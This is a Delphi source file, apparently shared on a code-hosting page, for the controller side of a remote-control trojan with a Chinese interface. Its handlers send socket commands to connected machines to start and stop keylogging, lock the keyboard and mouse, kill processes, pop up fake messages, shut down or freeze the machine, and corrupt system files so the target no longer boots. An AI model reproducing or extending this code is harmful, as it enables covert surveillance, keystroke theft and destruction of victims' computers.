📄 unit1.pas
字号:
if MySize = 0 then {MySize为服务端发送的字节数,如果为0表示为尚未开始图象接收}
begin
S := cos;
MySize := Strtoint(S); {设置需接收的字节数}
ss.Socket.Connections[fullip].SendText('702');
{发指令通知服务端开始发送图象}
fscreen:= 'gifs';
end
end;
998: application.MessageBox('文件已上传成功!','提示');
999: begin//客户断开时
if cos=ipns.Text then
begin
cle();
application.MessageBox('当前连接断开,请重新选择受控主机!','请注意');
mainpc.Enabled :=false;
ipns.Text :='请选择要控制的IP!';
ipvi.Clear ;
ss.Active :=false;
ss.Active :=true;
exit;
end;
for i:=0 to ipvi.Items.Count -1 do
if ipvi.Items[i].Caption= ipns.Text then
begin
sb.Panels.Items[1].Text :=inttostr(i);
fullip:=i;
ipvi.Items[i].SubItems.Text :='★';
end
else
ipvi.Items[i].SubItems.Text :='就绪';
end;
end;
end;
procedure TForm1.JCB1Click(Sender: TObject);
begin//刷新列表
try
ss.Socket.Connections[fullip].SendText('401');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.JCB2Click(Sender: TObject);
begin//结束进程
if JCBOX.ItemIndex=-1 then exit;
if application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idyes then
begin
try
ss.Socket.Connections[fullip].SendText('402'+JCBOX.Items.Strings[JCBOX.itemindex]);
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
end;
procedure TForm1.ccb1Click(Sender: TObject);
var sst:string;
speak,tit:pchar;
lo,i:integer;
begin//本机消息预览
if rr1.Checked =true then
sst:='1'
else if rr2.Checked =true then
sst:='2'
else if rr3.Checked =true then
sst:='3'
else if rr4.Checked =true then
sst:='4';
lo:=length(xxcb1.Text);
if lo<12 then
for i:=1 to 12-lo do
xxcb1.Text :=xxcb1.Text +' ';
speak:=pchar(xxcb2.Text);
if xxcb2.Text <>'' then
begin
tit:=pchar(XXCB1.Text);
IF sst='1' THEN
APPLICATION.MessageBox(speak,tit,MB_ICONHAND)
ELSE IF sst='2' THEN
APPLICATION.MessageBox(speak,tit,MB_ICONASTERISK)
ELSE IF sst='3' THEN
APPLICATION.MessageBox(speak,tit,MB_ICONWARNING)
ELSE IF sst='4' THEN
APPLICATION.MessageBox(speak,tit,MB_ICONQUESTION);
end;
end;
procedure TForm1.ccb2Click(Sender: TObject);
var sst:string;
lo,i:integer;
begin//发消息时
if rr1.Checked =true then
sst:='1'
else if rr2.Checked =true then
sst:='2'
else if rr3.Checked =true then
sst:='3'
else if rr4.Checked =true then
sst:='4';
lo:=length(xxcb1.Text);
if lo<12 then
for i:=1 to 12-lo do
xxcb1.Text :=xxcb1.Text +' ';
if xxcb2.Text <>'' then
ss.Socket.Connections[fullip].SendText('403'+sst+xxcb1.Text+xxcb2.Text);
end;
procedure TForm1.IPVIDblClick(Sender: TObject);
var st:pchar;
begin//点击IP地址时
if ipvi.ItemIndex =-1 then exit;
if length(pased.Text)=0 then
begin
application.MessageBox('请在密码框内输入登录密码','注意' );
exit;
end;
ss.Socket.Connections[IPVI.Selected.Index].SendText('007'+pased.Text);
end;
procedure TForm1.firstbtClick(Sender: TObject);
begin
ipvi.Clear ;
ss.Active :=false;
ss.Active :=true;
end;
procedure TForm1.keybgClick(Sender: TObject);
begin//开始键盘记录
try
ss.Socket.Connections[fullip].SendText('201');
keybg.Enabled :=false;
keyen.Enabled :=true;
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.keyenClick(Sender: TObject);
begin//停止键盘记录
try
ss.Socket.Connections[fullip].SendText('202');
keybg.Enabled :=true;
keyen.Enabled :=false;
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key1Click(Sender: TObject);
begin//ESC
try
ss.Socket.Connections[fullip].SendText('203');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key2Click(Sender: TObject);
begin// ←
try
ss.Socket.Connections[fullip].SendText('204');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key3Click(Sender: TObject);
begin//删除
try
ss.Socket.Connections[fullip].SendText('205');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key4Click(Sender: TObject);
begin// 上页
try
ss.Socket.Connections[fullip].SendText('206');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key5Click(Sender: TObject);
begin// 回车
try
ss.Socket.Connections[fullip].SendText('207');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key6Click(Sender: TObject);
begin// 下页
try
ss.Socket.Connections[fullip].SendText('208');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key7Click(Sender: TObject);
begin// TAB
try
ss.Socket.Connections[fullip].SendText('209');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key8Click(Sender: TObject);
begin// ALT+F4
try
ss.Socket.Connections[fullip].SendText('210');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key9Click(Sender: TObject);
begin//CTRL+A
try
ss.Socket.Connections[fullip].SendText('211');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key10Click(Sender: TObject);
begin//上
try
ss.Socket.Connections[fullip].SendText('212');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key11Click(Sender: TObject);
begin// 下
try
ss.Socket.Connections[fullip].SendText('213');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key12Click(Sender: TObject);
begin// 左
try
ss.Socket.Connections[fullip].SendText('214');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key13Click(Sender: TObject);
begin// 右
try
ss.Socket.Connections[fullip].SendText('215');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key14Click(Sender: TObject);
begin//锁键盘
try
ss.Socket.Connections[fullip].SendText('216');
key14.Enabled :=false;
key15.Enabled :=true;
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key15Click(Sender: TObject);
begin//解锁
try
ss.Socket.Connections[fullip].SendText('217');
key14.Enabled :=true;
key15.Enabled :=false;
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.clreClick(Sender: TObject);
begin//键盘记录列表清空
keyre.Clear;
end;
procedure TForm1.MB3Click(Sender: TObject);
var mx,my,mkse:string;
i:integer;
begin//鼠标击键命令
mx:=ME1.Text;//X坐标
if length(mx)<4 then
for i:=1 to 4-length(mx) do
mx:='0'+mx;
my:=ME2.Text;//Y坐标
if length(my)<4 then
for i:=1 to 4-length(my) do
my:='0'+my;
if MR1.Checked =true then//单击
mkse:='1'
else if MR2.Checked =true then//双击
mkse:='2'
else if MR3.Checked =true then//右击
mkse:='3';
try
ss.Socket.Connections[fullip].SendText('218'+mx+my+mkse);
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.MB1Click(Sender: TObject);
begin//锁鼠标
try
ss.Socket.Connections[fullip].SendText('219');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.MB2Click(Sender: TObject);
begin//解除锁鼠标
try
ss.Socket.Connections[fullip].SendText('220');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key16Click(Sender: TObject);
begin// 开光驱
try
ss.Socket.Connections[fullip].SendText('221');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.key17Click(Sender: TObject);
begin//关光驱
try
ss.Socket.Connections[fullip].SendText('222');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin//关机
if application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idyes then
try
ss.Socket.Connections[fullip].SendText('223');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn3Click(Sender: TObject);
begin//注销
try
ss.Socket.Connections[fullip].SendText('224');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn4Click(Sender: TObject);
begin//重启
try
ss.Socket.Connections[fullip].SendText('225');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn5Click(Sender: TObject);
begin//死机
if application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idyes then
try
ss.Socket.Connections[fullip].SendText('230');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn6Click(Sender: TObject);
begin//破坏系统文件
if application.MessageBox('这个操作会另对方系统崩溃!会造成对方电脑不能启动!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb_yesno)=idyes then
try
if application.MessageBox('你真的考虑清楚了吗?','严重警告!!!!!!',mb_yesno)=idyes then
ss.Socket.Connections[fullip].SendText('240');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.BitBtn7Click(Sender: TObject);
begin//WIN键
try
ss.Socket.Connections[fullip].SendText('250');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
procedure TForm1.CKB1Click(Sender: TObject);
begin//查看对方当前窗体标题名
try
ss.Socket.Connections[fullip].SendText('501');
except
application.MessageBox('连接断开','提示' );
mainpc.Enabled :=false;
end;
end;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -